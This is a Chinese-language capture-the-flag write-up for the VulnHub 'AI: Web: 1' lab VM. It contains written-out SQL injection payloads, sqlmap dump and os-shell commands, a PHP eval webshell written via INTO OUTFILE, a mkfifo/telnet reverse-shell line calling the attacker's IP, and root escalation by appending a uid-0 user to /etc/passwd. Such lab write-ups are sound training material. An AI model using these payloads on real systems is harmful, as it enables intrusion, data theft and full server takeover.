# 前言

单纯是应要求找 sql 注入 getshell 的靶机,所以找到了一个这样的靶机,简单的记录一下

# 靶机介绍

难度:中级

网络:DHCP(自动分配)

网络模式:NAT

该框旨在测试渗透测试人员的技能。目标很简单。从 /root/flag.txt 获取标志。 枚举框,获取低特权 shell,然后将权限升级到 root

  • DHCP 服务:已启用
  • IP 地址:自动分配

靶机地址:AI: Web: 1 ~ VulnHub

目标:获取 root 权限,拿到 flag

# 环境搭建

将文件下载下来后解压进入相关目录

image-20230912123528786

然后点击 AI-WEB-1.0.vmx 选择使用 VM 打开即可

image-20230912123627535

环境搭建成功后展示下图所示的页面

image-20230912123502724

# 攻击流程

信息收集

# 信息收集

这里使用 kali 上自带的 arp-scan 工具来进行一个主机发现

sudo arp-scan -l

image-20230912124736766

这里可以看到主机 192.168.10.164 存活,其他的 ip 是 kali 其他服务所需 ip,这里不用管。接着对目标主机进行一个 ip 端口扫描

nmap -p- 192.168.10.164

image-20230912125310096

这里可以看到只开放了一个 80 端口,这里已经可以看到是一个 http 服务,进一步进行一个协议的发现

nmap -p80 -sV 192.168.10.164

image-20230912125548426

到这里就可以确定他是一个 Apache 协议开放的一个 httpd 服务,这里直接去访问查看一下

image-20230912130344227

可惜的是网站的根目录并没有什么有用的信息,所以这里需要进一步的信息收集

dirsearch -u http://192.168.10.164/

image-20230912130644543

这里能发现的只有 robots.txt 文件,所以这里直接去访问这个文件

image-20230912130742794

这里可以看到给了两个目录,这里直接去尝试去访问两个目录

image-20230912130838583

这里没有都返回 403,无权限访问,所以很显然这里需要进一步的目录爆破

dirsearch -u http://192.168.10.164/se3reTdir777/

image-20230912132000826

这里扫描到了一个 index.php,这里直接去访问

image-20230912132106855

dirsearch -u http://192.168.10.164/m3diNf0/

image-20230912131204225

这里可以看见在 m3diNf0 目录下有一个 info.php 文件,一般这种文件都是用来展示一些信息的,这里也是直接去访问

image-20230912131423468

这里简单的翻了一下

image-20230912131523193

在这里有网站根目录的路径

/home/www/html/web1x443290o2sdf92213

但是这里目前并没有太大的作用

# sql 注入

然后我们将目光放回到前面 se3reTdir777 目录下的 index.php

image-20230912132211197

这里可以看到它只有一个提交窗口,这里提交一个 1

image-20230912132247910

将 id 为 1 的用户查询了出来,很显然这里可能存在 sql 注入漏洞,这里直接提交一个单引号

image-20230912132433074

这个报错很显然闭合方式是单引号闭合

1' and 1=1#

image-20230912132558957

这里使用这个语句可以看到成功执行,前面的判断正确的,这里抓包看一下它提交数据的地方,这里我使用的是 kali,考虑到有些同学没有使用过 kali 的 burp 这里简单说一下浏览器改代理的地方

image-20230912132956805

打开浏览器的设置

image-20230912133019039

这里直接搜索 proxy,然后点击 setting

image-20230912134545438

如上图配置即可,然后抓包

image-20230912134622667

这里可以看到其是用 post 提交了 uid 和 Operation 两个参数

# sqlmap

这里我直接使用 sqlmap

sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit"  --dbs

image-20230912134806339

这里可以看到有一一个数据库 aiweb1,这里接着查表

sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit"  -D aiweb1 --tables

image-20230912135145833

这里可以分别看一下两个表中的数据,先看 user 表

sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit"  -D aiweb1 -T user --dump

image-20230912135243605

这个数据是在 web 页面输入数字就可以直接拿到的,很显然没有什么太大的作用,这里看另一个表 systemUser

sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit"  -D aiweb1 -T systemUser --dump

image-20230912135433377

这里有几个选项稍微注意一下,这个字典选着一即可,其他的都直接回车

image-20230912135736301

这里拿到三个密码,是用 base64 编码后的,这里依次解码后发现都不是有用的密码

image-20230912135819659

image-20230912135829814

image-20230912135837397

数据库中都不能拿到有用的信息,这里查看当前用户的权限

sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit"  --privileges

image-20230912140351800

可以看到他是有一个文件操作权限的,所以这里直接使用 --os-shell 参数

sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit"  --os-shell

image-20230912140605981

这里是一个 php 的服务,所以这里直接回车默认即可

image-20230912140741775

这里文件位置选择 2 自定义,因为前面在 info.php 文件中可以看到,他的目录十分复杂不是常规的目录,所以这里需要我们自定义木马存放目录

image-20230912141101572

但是在网站更目录没有写的权限,这里写前面的 upload 目录

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

image-20230912141359103

这里就拿到了一个 shell

# 反弹 shell

这里反弹 shell

mkfifo /tmp/test;telnet 192.168.10.161 2333 0</tmp/test|/bin/sh > /tmp/test

在 kali 上开启一个端口监听

nc -lvp 2333

image-20230912142303466

简单说明一下这个命令

  1. 创建一个名为 /tmp/test 的命名管道(FIFO)。
  2. 使用 telnet 命令连接到 192.168.10.1612333 端口。
  3. telnet 的输入(stdin)被重定向为来自 /tmp/test 的数据。
  4. telnet 的输出(stdout 和 stderr)被重定向到 /tmp/test ,这样你可以在本地读取远程服务器的响应。
  5. 在远程服务器上运行 /bin/sh ,这将创建一个交互式 Shell 连接,你可以通过 telnet 进行控制

# 手工注入

前面已经判断出来了是单引号闭合,接下来判断字段数

1'+order+by+3#
1'+order+by+4#

image-20230912143416322

image-20230912143428664

这里可以看见 3 能够正常回显,4 出现了报错,所以这里字段数为 3,然后判断回显点

1'+union+select+user(),user(),user()#

image-20230912143635586

三个字段都可以回显数据,所以这里哪个都行,接下来直接通过联合查询来获取数据

0'+union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),user(),user()#

image-20230912145133080

这里可以看到和前面使用 sqlmap 跑出来的结果是一样的

0'+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_name='user'),user(),user()#

image-20230912145348390

0'+union+select+(select+group_concat(firstName)+from+user),user(),user()#

image-20230912145448184

这里可以看见已经拿到了表中的数据,这里查询数据仅做演示,所以另一个表不在演示

0'+union+select+1,'<?php+eval($_POST["a"]);?>',3+into+outfile+"/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php"#

image-20230912150749427

然后去访问 uploads 下面的 shell.php

image-20230912150441107

这样就是已经写进去了,这里抓包

image-20230912150731297

# 反弹 shell
system("mkfifo+/tmp/test;telnet+192.168.10.161+2333+0</tmp/test|/bin/sh+>+/tmp/test");

image-20230912150934334

这里也是成功拿到一个 shell

# 提权

前面用工具和手工两种方式拿到了一个基础权限,先用 python 升级一下终端

python -c "import pty;pty.spawn('/bin/bash')"

image-20230912151311606

这个 Python 命令用于在一个终端中生成一个交互式的 Bash Shell。它利用了 Python 的 pty 模块来生成一个伪终端(pseudo-terminal),然后在该伪终端上运行 /bin/bash ,从而创建一个交互式的 Bash Shell。

使用命令: uname -a 当前内核版本

image-20230912151505902

但是没有找到相关的漏洞利用脚本

这里使用 sudo -l 想要查看相关配置,但是发现需要当前用户的密码

image-20230912151649633

很显然这个思路是不行的,在后面查看各个文件想要提权,后来发现了这个 etc/passwd 这个文件所有者和所属组都是当前用户

image-20230912151752005

这个文件中其中包含了登录 Linux 系统所必需的每个用户的信息。它保存用户的有用信息,这里修改这个文件生成一个新的有 root 权限的用户即可,先使用 openssl 来生成一个新用户

openssl passwd -1 -salt c1own 123456

image-20230912153014502

echo 'c1own:$1$c1own$qlOWeZiMWiTqcetiPOx8V0:0:0::/root:/bin/bash' >> /etc/passwd

image-20230912153024005

然后 su 到 c1own 用户

image-20230912153036617

然后直接打开 flag

image-20230912153140289